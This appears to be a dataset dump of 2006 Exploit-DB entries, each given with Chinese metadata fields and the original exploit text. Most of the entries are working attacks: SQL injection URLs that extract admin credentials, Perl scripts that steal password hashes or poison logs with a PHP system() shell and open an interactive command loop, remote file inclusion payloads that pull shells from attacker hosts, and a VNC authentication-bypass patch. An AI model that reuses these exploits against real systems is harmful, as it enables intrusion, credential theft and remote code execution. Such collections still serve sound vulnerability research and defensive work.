QLWD/code_shield huggingface dataset:
标题: Zix Forum 1.12 - 'layid' SQL Injection EDB-ID: 1807 CVE: 2006-2541 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-19 漏洞利用脚本: Zix Forum <= 1.12 (layid) SQL Injection Vulnerability


Vulnerability:
--------------------
SQL_Injection:
Input passed to the "layid" parameter in 'settings.asp' not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Successful exploitation extracts username and password of administrator in clear text .


Proof of Concepts:
--------------------
site.com/zix/login.asp?layid=-1%20union%20select%201,null,null,1,1,1,1,null,1,1,J_User,null,1,1,1,1,1,J_Pass,null,null,null,null,1,1,1,1,1,1,1,1,1,1,1,1,1,1,null%20from%20adminLogins where approve=1 and '1'='1'
site.com/zix/main.asp?layid=-1%20union%20select%201,null,null,null,1,1,1,null,1,1,J_User,null,1,1,1,1,1,J_Pass,null,null,null,null,1,1,1,1,1,1,1,1,1,1,1,1,1,null,null%20from%20adminLogins where approve=1 and '1'='1'

-------

By FarhadKey On 19 May 2006

# milw0rm.com [2006-05-19] URL: https://www.exploit-db.com/exploits/1807
标题: phpBazar 2.1.0 - Remote File Inclusion / Authentication Bypass EDB-ID: 1804 CVE: 2006-2528 2006-2527 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-19 漏洞利用脚本: Title: phpBazar <= 2.1.0 Multiple vulnerabilites
URL: http://www.smartisoft.com/
Dork: inurl:classified.php phpbazar

Exploits:
-remote file inclusion: /classified_right.php?language_dir=http://yourhost/cmd.gif?cmd=ls
-access to admin login and password: /admin/admin.php?action=edit_member&value=1

# milw0rm.com [2006-05-19] URL: https://www.exploit-db.com/exploits/1804
标题: DeluxeBB 1.06 - 'name' SQL Injection (mq=off) EDB-ID: 1793 CVE: 2006-2503 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-15 漏洞利用脚本: #!/usr/bin/perl

use IO::Socket;


print q{
#############################################
# DeluxeBB 1.06 Remote SQL Injection Exploit#
#  exploit discovered and coded        #
#    by KingOfSka                     #
# http://contropotere.netsons.org     #
#############################################
};

if (!$ARGV[2]) {

print q{ 
 Usage: perl dbbxpl.pl host /directory/ victim_userid 
  
       perl dbbxpl.pl www.somesite.com /forum/ 1


};

}


$server = $ARGV[0];
$dir    = $ARGV[1];
$user   = $ARGV[2];
$myuser = $ARGV[3];
$mypass = $ARGV[4];
$myid   = $ARGV[5];

print "------------------------------------------------------------------------------------------------\r\n";
print "[>] SERVER: $server\r\n";
print "[>]    DIR: $dir\r\n";
print "[>] USERID: $user\r\n";
print "------------------------------------------------------------------------------------------------\r\n\r\n";

$server =~ s/(http:\/\/)//eg;

$path  = $dir;
$path .= "misc.php?sub=profile&name=0')+UNION+SELECT+0,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM%20deluxebb_users%20WHERE%20(uid='".$user ;

 
print "[~] PREPARE TO CONNECT...\r\n";

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";

print "[+] CONNECTED\r\n";
print "[~] SENDING QUERY...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "[+] DONE!\r\n\r\n";



print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";
while ($answer = <$socket>)
{

 if ($answer =~/(\w{32})/)
{

  if ($1 ne 0) {
   print "Password Hash is: ".$1."\r\n";
print "--------------------------------------------------------------------------------------\r\n";

      }
exit();
}

}
print "------------------------------------------------------------------------------------------------\r\n";

# milw0rm.com [2006-05-15] URL: https://www.exploit-db.com/exploits/1793
标题: phpListPro 2.0.1 - 'Language' Remote Code Execution EDB-ID: 1805 CVE: 2006-2523 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-19 漏洞利用脚本: #!/usr/bin/perl
#
# Title: phpListPro <= 2.0.1 Remote Command Execution Exploit
# URL: http://www.smartisoft.com/
#
# Info: 
# - arbitrary local inclusion 
# - need magic_quotes_gpc=off
# 
#

use IO::Socket;
use LWP::Simple;

#ripped from rgod

@apache=(
  "/var/log/httpd/access_log%00",
  "/var/log/httpd/error_log%00",
  "/var/log/apache/error.log%00",
  "/var/log/apache/access.log%00",  
  "/apache/logs/error.log%00",
  "/apache/logs/access.log%00",
  "/etc/httpd/logs/acces_log%00",
  "/etc/httpd/logs/acces.log%00",
  "/etc/httpd/logs/error_log%00",
  "/etc/httpd/logs/error.log%00",
  "/var/www/logs/access_log%00",
  "/var/www/logs/access.log%00",
  "/usr/local/apache/logs/access_log%00",
  "/usr/local/apache/logs/access.log%00",
  "/var/log/apache/access_log%00",
  "/var/log/apache/access.log%00",
  "/var/log/access_log%00",
  "/var/www/logs/error_log%00",
  "/www/logs/error.log%00",
  "/usr/local/apache/logs/error_log%00",
  "/usr/local/apache/logs/error.log%00",
  "/var/log/apache/error_log%00",
  "/var/log/apache/error.log%00",
  "/var/log/access_log%00",
  "/var/log/error_log%00",
);

print "[i] phpListPro remote command execution exploit\n";
print "[i] Need magic_quotes_gpc=off\n";
print "[i] Coded by [Oo]\n\n";


if (@ARGV < 3)
{
 print "[*] Usage: phplistpro_exp.pl [host] [path] [apache_path]\n\n";
 print "[*] Apache_Path: \n";
 $i = 0;
 while($apache[$i])
 {
  print "[$i] $apache[$i]\n";
  $i++;
 }
 print "\n[*] Exemple: phplistpro_exp.pl 127.0.0.1 /phplistpro/ 1\n";
 exit();
}

$serv=$ARGV[0];
$path=$ARGV[1];
$type=$ARGV[2];

print "[+] Injecting some code in log files...\n";
#ripped from rgod
$CODE="<?php ob_clean();system(\$HTTP_COOKIE_VARS[cmd]);die;?>";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80") or die "[-] Connecting ... Could not connect to host.\n\n";
print $socket "GET ".$path.$CODE." HTTP/1.1\r\n";
print $socket "User-Agent: ".$CODE."\r\n";
print $socket "Host: ".$serv."\r\n";
print $socket "Connection: close\r\n\r\n";
close($socket);

print "[+] Ok! Now here the shell, type exit to quit\n";
print "[+] If it's not work maybe try another apache_path...\n\n";

print "[shell] ";
$cmd = <STDIN>;

while($cmd !~ "exit")
{
 $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80") or die "[-] Connecting ... Could not connect to host.\n\n";
 
 print $socket "GET ".$path."config.php HTTP/1.1\r\n";
 print $socket "Host: ".$serv."\r\n";
 print $socket "Accept: */*\r\n";
 print $socket "Cookie: Language=/../../../../../../../../../..".$apache[$type].";cmd=$cmd \r\n";
 print $socket "Connection: close\r\n\n"; 
 
 while ($answer = <$socket>)
 {
  print $answer;
 }
 
 print "[shell] ";
 $cmd = <STDIN>; 
}

# milw0rm.com [2006-05-19] URL: https://www.exploit-db.com/exploits/1805
标题: ScozNews 1.2.1 - 'mainpath' Remote File Inclusion EDB-ID: 1800 CVE: 2006-2487 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-17 漏洞利用脚本: ################ DEVIL TEAM THE BEST POLISH TEAM #################
#ScozNews v1.2.1 - Remote File Include
#Find by Kacper (Rahim).
#Greetings For ALL DEVIL TEAM members, Special DragonHeart :***
#Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
#dork: "(Powered By ScozNews)"
##################################################################

http://www.site.com/[news_path]/sources/functions.php?CONFIG[main_path]=[evil_scripts]


http://www.site.com/[news_path]/sources/template.php?CONFIG[main_path]=[evil_scripts]


http://www.site.com/[news_path]/sources/news.php?CONFIG[main_path]=[evil_scripts]

http://www.site.com/[news_path]/sources/help.php?CONFIG[main_path]=[evil_scripts]

http://www.site.com/[news_path]/sources/mail.php?CONFIG[main_path]=[evil_scripts]

http://www.site.com/[news_path]/sources/Admin/admin_cats.php?CONFIG[main_path]=[evil_scripts]

http://www.site.com/[news_path]/sources/Admin/admin_edit.php?CONFIG[main_path]=[evil_scripts]

http://www.site.com/[news_path]/sources/Admin/admin_import.php?CONFIG[main_path]=[evil_scripts]

http://www.site.com/[news_path]/sources/Admin/admin_templates.php?CONFIG[main_path]=[evil_scripts]

###################################################################
#Elo ;-)

# milw0rm.com [2006-05-17] URL: https://www.exploit-db.com/exploits/1800
标题: ezusermanager 1.6 - Remote File Inclusion EDB-ID: 1795 CVE: 2006-2424 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-15 漏洞利用脚本: Title       : ezUserManager <= v1.6 Remote File Inclusion Vulnerability
-
URL         : http://www.ezusermanager.com/
-
Dork        : "powered by ezUserManager"
-
Author      : OLiBekaS
-
contact     : olibekas[at]gmail.com
-
greetz      : Renzokuzen, Skulmatic, weleh, brokencode, bigmaster and all #papmahackerlink crew
-
Exploit     : http://[target]/[path]/ezusermanager_pwd_forgott.php?ezUserManager_Path=http://[attacker]/cmd.txt?&cmd=ls

# milw0rm.com [2006-05-15] URL: https://www.exploit-db.com/exploits/1795
标题: GNUnet 0.7.0d - Empty UDP Packet Remote Denial of Service EDB-ID: 1792 CVE: 2006-2413 类型: DOS 平台: WINDOWS 发布日期: 2006-05-15 漏洞利用脚本: # GNUnet <= 0.7.0d (Empty UDP Packet) Remote Denial of Service Exploit

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1792.zip (05152006-udpsz.zip) URL: https://www.exploit-db.com/exploits/1792
标题: Squirrelcart 2.2.0 - 'cart_content.php' Remote File Inclusion EDB-ID: 1790 CVE: 2006-2483 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-15 漏洞利用脚本: Title         : Squirrelcart <= 2.2.0 Remote File Inclusion
URL           : http://www.ldev.com/
google Dork   : inurl:/squirrelcart/
Author        : OLiBekaS
greetz        : Skulmatic, weleh, brokencode, bigmaster and all #papmahackerlink crew

Exploit       : /cart_content.php?cart_isp_root=http://yourhost/cmd.gif?cmd=ls

# milw0rm.com [2006-05-15] URL: https://www.exploit-db.com/exploits/1790
标题: outgun 1.0.3 bot 2 - Multiple Vulnerabilities EDB-ID: 1781 CVE: 2006-2402 2006-2401 2006-2400 2006-2399 类型: DOS 平台: WINDOWS 发布日期: 2006-05-14 漏洞利用脚本: # Outgun <= 1.0.3 bot 2 Multiple Remote Vulnerabilities Exploit

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1781.zip (05132006-outgunx.zip)

# milw0rm.com [2006-05-14] URL: https://www.exploit-db.com/exploits/1781
标题: PHP Blue Dragon CMS 2.9 - Remote File Inclusion EDB-ID: 1779 CVE: 2006-2392 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-12 漏洞利用脚本: ################DEVIL TEAM THE BEST POLISH TEAM#################
#Php Blue Dragon Platinum - Remote File Include
#Find by Kacper (Rahim).
#Greetings For ALL DEVIL TEAM members, Special DragonHeart :***
#dork: powered by Php Blue Dragon Platinum
################################################################
[code]
// Szukanie u.ytkownika
include($vsDragonRootPath."public_includes/pub_language/".$UserSession
-> SessionData["SesUserLanguage"]."/mod_privmsg.".$phpExt);
[/code]

Fix:
[code]
// Szukanie u.ytkownika
$vsDragonRootPath = "./";
include($vsDragonRootPath."public_includes/pub_language/".$UserSession
-> SessionData["SesUserLanguage"]."/mod_privmsg.".$phpExt);
[/code]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

http://www.site.com/[dragon_path]/public_includes/pub_popup/popup_finduser.php?vsDragonRootPath=[evil_scripts]

# milw0rm.com [2006-05-12] URL: https://www.exploit-db.com/exploits/1779
标题: Empire 4.3.2 - 'strncat' Denial of Service EDB-ID: 1782 CVE: 2006-2393 类型: DOS 平台: WINDOWS 发布日期: 2006-05-14 漏洞利用脚本: # Empire <= 4.3.2 (strncat) Denial of Service Exploit

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1782.zip (05132006-empiredos.zip)

# milw0rm.com [2006-05-14] URL: https://www.exploit-db.com/exploits/1782
标题: RealVNC 4.1.0 < 4.1.1 - VNC Null Authentication Bypass EDB-ID: 1791 CVE: 2006-2369 类型: REMOTE 平台: MULTIPLE 发布日期: 2006-05-16 漏洞利用脚本: xx  vnc-4_1_1-unixsrc.bl4ck/common/rfb/CConnection.cxx
--- vnc-4_1_1-unixsrc/common/rfb/CConnection.cxx        2005-03-11 09:08:41.000000000 -0600
+++ vnc-4_1_1-unixsrc.bl4ck/common/rfb/CConnection.cxx  2006-05-15 14:03:30.000000000 -0500
@@ -183,7 +183,12 @@

     // Inform the server of our decision
     if (secType != secTypeInvalid) {
-      os->writeU8(secType);
+
+      // [BL4CK] In response to the VNC Null Authentication
+      // force a secType to equal secTypeNone
+      // http://blacksecurity.org
+      secType = secTypeNone;
+      os->writeU8(secTypeNone);
       os->flush();
       vlog.debug("Choosing security type %s(%d)",secTypeName(secType),secType);     }

E-DB Note:
Compiled: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1791.rar (05162006-BL4CK-vncviewer-authbypass.rar) URL: https://www.exploit-db.com/exploits/1791
标题: Foing 0.7.0 - 'phpBB' Remote File Inclusion EDB-ID: 1778 CVE: 2006-2507 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-12 漏洞利用脚本: # Kurdish Security Advisory
# Original Advisory : http://kurdishsecurity.blogspot.com/2006/05/kurdish-security-7-foing-remote-file.html
# Foing Remote File Include Vulnerability [PHPBB] :}
# "Ey Tarih ya sana basarilar atfedecegiz ya da seni yasanmamis sayacagiz ." Abdullah Ocalan
# STOP THE MASSACRE IN THE TURKEY! FREEDOM FOR KURDISTAN !
# Contact : irc.gigachat.net #kurdhack & www.PatrioticHackers.com & botan@linuxmail.org
# Risk : High
# Class : Remote
# Script : Foing
# Script Website : http://foing.sourceforge.net/
# Version : Foing 0.7.0
                 0.6.0
                 0.5.0
                 0.4.0
                 0.3.0
                 0.2.0
# w0rkz : "Powered by foing"

# Thanks : B3g0k, Nistiman, Flot, Netqurd, Darki, Azad, ColdHackers, Kurdistan Cyber Army etc..

--------------------------------------------------------------------------------

# cmd shell example:
# cmd shell variable: ($_GET[cmd]);

Vulnerable code :

Get along at directory config.php

did you meet of ..

<?php

define('FOING_INSTALLED', true);

$phpbb_root_path = '../';
$foing_prefix = $table_prefix;

?>

Proof Of Concept :
http://www.r0xed.com/[foingpath]/index.php?phpbb_root_path=http://evilcode.txt?&cmd=uname -a
http://www.r0xed.com/[foingpath]/song.php?phpbb_root_path=http://evilcode.txt?&cmd=uname -a
http://www.r0xed.com/[foingpath]/faq.php?phpbb_root_path=http://evilcode.txt?&cmd=uname -a
http://www.r0xed.com/[foingpath]/list.php?phpbb_root_path=http://evilcode.txt?&cmd=uname -a
http://www.r0xed.com/[foingpath]/gen_m3u.php?phpbb_root_path=http://evilcode.txt?&cmd=uname -a
http://www.r0xed.com/[foingpath]/playlist.php?phpbb_root_path=http://evilcode.txt?&cmd=uname -a

# milw0rm.com [2006-05-12] URL: https://www.exploit-db.com/exploits/1778
标题: raydium svn 309 - Multiple Vulnerabilities EDB-ID: 1784 CVE: 2006-2412 2006-2411 2006-2410 2006-2409 2006-2408 类型: DOS 平台: WINDOWS 发布日期: 2006-05-14 漏洞利用脚本: # Raydium <= SVN 309 Multiple Remote Vulnerabilities Exploit

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1784.zip (05132006-raydiumx.zip) URL: https://www.exploit-db.com/exploits/1784
标题: TR Newsportal 0.36tr1 - 'poll.php' Remote File Inclusion EDB-ID: 1789 CVE: 2006-2557 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-15 漏洞利用脚本: ################ DEVIL TEAM THE BEST POLISH TEAM #################
#TR Newsportal - Remote File Include
#Find by Kacper (Rahim).
#Greetings For ALL DEVIL TEAM members, Special DragonHeart :***
#Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
#dork: "TR Newsportal" brought by TRanx.
##################################################################
extras/poll/poll.php:
[code]
<?
include("$file_newsportal");
$ns=OpenNNTPconnection($server,$port);
flush();
if ($ns != false) {
 $headers = readOverview($ns,$group,1,true);
 closeNNTPconnection($ns);
}
?>
[/code]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

http://www.site.com/[Newsportal_path]/extras/poll/poll.php?file_newsportal=[evil_scripts]


###################################################################
#Elo ;-)

# milw0rm.com [2006-05-15] URL: https://www.exploit-db.com/exploits/1789
标题: Genecys 0.2 - Buffer Overflow / NULL Pointer (Denial of Service) EDB-ID: 1783 CVE: 2006-2555 2006-2554 类型: DOS 平台: WINDOWS 发布日期: 2006-05-14 漏洞利用脚本: # Genecys <= 0.2 (BoF/NULL pointer) Denial of Service Exploit

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1783.zip (05132006-genecysbof.zip)

# milw0rm.com [2006-05-14] URL: https://www.exploit-db.com/exploits/1783
标题: ACal 2.2.6 - 'day.php' Remote File Inclusion EDB-ID: 1763 CVE: 2006-2261 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-07 漏洞利用脚本: $*******************************************$
$ Title: ACal 2.2.6 = Remote File Inclusion $
$*******************************************$
$ URL: http://acalproj.sourceforge.net/ $
$***************************************$
$ Dork: intitle:"Login to Calendar" $
$***********************************$
$ Credits: PiNGuX $
$*****************$
$ Greetz : [0o] $
$***************$

Exploit:
http://[url]/[calendar_path]/embed/day.php?path=http://yourhost/cmd.gif?cmd=ls

# milw0rm.com [2006-05-07] URL: https://www.exploit-db.com/exploits/1763
标题: phpListPro 2.01 - Multiple Remote File Inclusions EDB-ID: 1769 CVE: 2006-2323 2006-1749 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-08 漏洞利用脚本: Title: phpListPro <= 2.01 - Remote File Include Vulnerability
-----------------------------------------------------------------
Vendor: SmartISoft
URL: http://smartisoft.com
-----------------------------------------------------------------

Credits:
Discovered by: 'Aesthetico'
http://www.majorsecurity.de
-----------------------------------------------------------------
Search for: "PHPListPro ©2001-2006 SmartISoft"
-----------------------------------------------------------------

Exploitation:

/config.php?returnpath=http://www.yourspace.com/yourscript.txt?&ls%20-laF
/editsite.php?returnpath=http://www.yourspace.com/yourscript.txt?&ls%20-laF
/in.php?returnpath=http://www.yourspace.com/yourscript.txt?&ls%20-laF
/addsite.php?returnpath=http://mitglied.lycos.de/n0ssy/r57.txt?&cmd=ls

# milw0rm.com [2006-05-08] URL: https://www.exploit-db.com/exploits/1769
标题: EQdkp 1.3.0 - 'dbal.php' Remote File Inclusion EDB-ID: 1764 CVE: 2006-2256 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-07 漏洞利用脚本: Title: EQdkp <= 1.3.0 Remote File Inclusion
URL: http://www.eqdkp.com/
Dork: "powered by EQdkp"
Author: OLiBekaS
greetz: Skulmatic, weleh, brockencode, and all #papmahackerlink crew

Exploit: /includes/dbal.php?eqdkp_root_path=http://yourhost/cmd.gif?cmd=ls

# milw0rm.com [2006-05-07] URL: https://www.exploit-db.com/exploits/1764
标题: Microsoft Internet Explorer 6.0.2900 SP2 - CSS Attribute Denial of Service EDB-ID: 1775 CVE: 2006-7031 类型: DOS 平台: WINDOWS 发布日期: 2006-05-10 漏洞利用脚本: <!--
# Internet Explorer <= 6.0.2900 SP2
#
# suffers from a DoS vulnerability in which a remote users
# Internet Explorer session can be crashed when hovering
# their cursor over a specially made table. The fault occurs
# when the "position" CSS attribute is set to a table.
# This results in an 'unhandled exception in iexplorer.exe(MSHTML.DLL)'
#
# $uid-seven
#
# shout outs to cijfer
-->

<html>
<head>
</style>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>IE-Crash - By seven</title>
<style type="text/css">

#header{
position: fixed;
height: 761px;
width: 1268;
}
</style>
</head>
<body>
<table border="2" cellpadding="0" cellspacing="0" width="797" height="343" align="center">

    <tr>

    <td id="header" valign="top">

        </td>
<td valign="top">

        </td>
</table>

# milw0rm.com [2006-05-10] URL: https://www.exploit-db.com/exploits/1775
标题: ActualAnalyzer Server 8.23 - 'rf' Remote File Inclusion EDB-ID: 1767 CVE: 2006-1959 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-08 漏洞利用脚本: Title: ActualAnalyzer Server <=8.23 - Remote File Include Vulnerability
-----------------------------------------------------------------
Vendor: ActualScripts
URL: http://actualscripts.com
-----------------------------------------------------------------

Credits:
Discovered by: 'Aesthetico'
http://www.majorsecurity.de
-----------------------------------------------------------------
Search for: "ActualScripts, Company. All rights reserved."
-----------------------------------------------------------------

Exploitation:

/direct.php?rf=http://www.yourspace.com/yourscript.php?
/direct.php?rf=http://www.yourspace.com/yourscript.txt?&ls%20-laF

# milw0rm.com [2006-05-08] URL: https://www.exploit-db.com/exploits/1767
标题: pafileDB 2.0.1 - 'mxBB'/'phpBB' Remote File Inclusion EDB-ID: 1774 CVE: 2006-2361 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-09 漏洞利用脚本: # PafileDB Remote File Inclusion[phpBB]
#
# Contact : irc.gigachat.net #ir4dex & darkfire@f4kelive.zzn.com
# Risk : High
# Class : Remote
# Script : pafileDB
# Version : not specified

---------------------------------------------------------------------

Vulnerable code :

$link_language = 'lang_english';
    include( $module_root_path . 'language/' . $link_language . '/lang_pafiledb.' . $phpEx );
---------------------------------------------------------------------

http://www.site.com/[phpBBpath]/[pafiledbpath]/includes/pafiledb_constants.php?module_root_path=http://[attacker]

by Darkfire and IR4DEX GROUP
Greetz: Smurf_RedHat :: V0lks

# milw0rm.com [2006-05-09] URL: https://www.exploit-db.com/exploits/1774
标题: Claroline E-Learning 1.75 - 'ldap.inc.php' Remote File Inclusion EDB-ID: 1766 CVE: 2006-7048 2006-2284 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-08 漏洞利用脚本: #!/usr/bin/perl
############
# Claroline Open Source e-Learning  1.7.5 Remote File Include
# Exploit & Advisorie:  beford <xbefordx gmail com>
#
# uso:#  perl own.pl <host> <cmd-shell-url> <cmd-var>
#   perl own.pl http://host.com/claroline/auth/ http://atacante/shell.gif cmd
#
# cmd shell example: <? system($cmd); ?>
# cmd variable: cmd;
#
#############
# Description
#############
# Vendor: http://www.claroline.net
# The file claroline/auth/extauth/drivers/ldap.inc.php uses the variable 
# clarolineRepositorySys in a include() function without being declared. 
# There are other files vulnerable in the same folder, this exploit only
# attacks ldap.inc.php
#
# There is other vulnerable file claroline/auth/extauth/casProcess.inc.php
# it uses the claro_CasLibPath in a include function but this is not being
# declared either, so pwnt, RFI. Vendor was contacted through email, 
# no response, so i just posted this here and on its forum.
############
# Vulnerable code (lda.inc.php)
############
# return require $clarolineRepositorySys.'/auth/extauth/extAuthProcess.inc.php';
############
# Vulnerable code (casProcess.inc.php)
############
#if (   ! isset($_SESSION['init_CasCheckinDone'] )
#    || $logout
#    || ( basename($_SERVER['SCRIPT_NAME']) == 'login.php' && isset($_REQUEST['authModeReq']) && $_REQUEST['authModeReq'] == 'CAS' )
#    || isset($_REQUEST['fromCasServer']) )
#{
#    include_once $claro_CasLibPath;
############
use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }
head();
while() {
 print "[shell] \$";
 while(<STDIN>)      {
  $cmd=$_;
  chomp($cmd);
  if (!$cmd) {last;}  
  $xpl = LWP::UserAgent->new() or die;
  $req = HTTP::Request->new(GET =>$Path.'extauth/drivers/ldap.inc.php?clarolineRepositorySys='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";
  $res = $xpl->request($req);
  $return = $res->content;
  $return =~ tr/[\n]/[ê]/;
  if ($return =~/Error: HTTP request failed!/ ) {
   print "\nInvalid path for phpshell\n";
   exit;
  } elsif ($return =~/^<br.\/>.<b>Fatal.error/) {
   print "\nInvalid Command, error.\n\n";
  }
  if ($return =~ /(.*)/) {
   $finreturn = $1;
   $finreturn=~ tr/[ê]/[\n]/;
   print "\r\n$finreturn\n\r";
   last;
  } else {
   print "[shell] \$";
  }
 }
} last;

sub head()  { 
 print "\n============================================================================\r\n";
 print "  Claroline Open Source e-Learning  1.7.5 Remote File Include\r\n";
 print "============================================================================\r\n";
 }
 
sub usage() {
 head();
 print " Usage: perl own.pl <host> <url-cmd> <var>\r\n\n";
 print " <host> - Full Path to Authentication Dir : http://host/claroline/auth/do \r\n";
 print " <url-cmd> - PhpShell : http://atacate/shell.gif \r\n";
 print " <var> - var name used in phpshell : cmd  \r\n\r\n";
 exit();
 }

# milw0rm.com [2006-05-08] URL: https://www.exploit-db.com/exploits/1766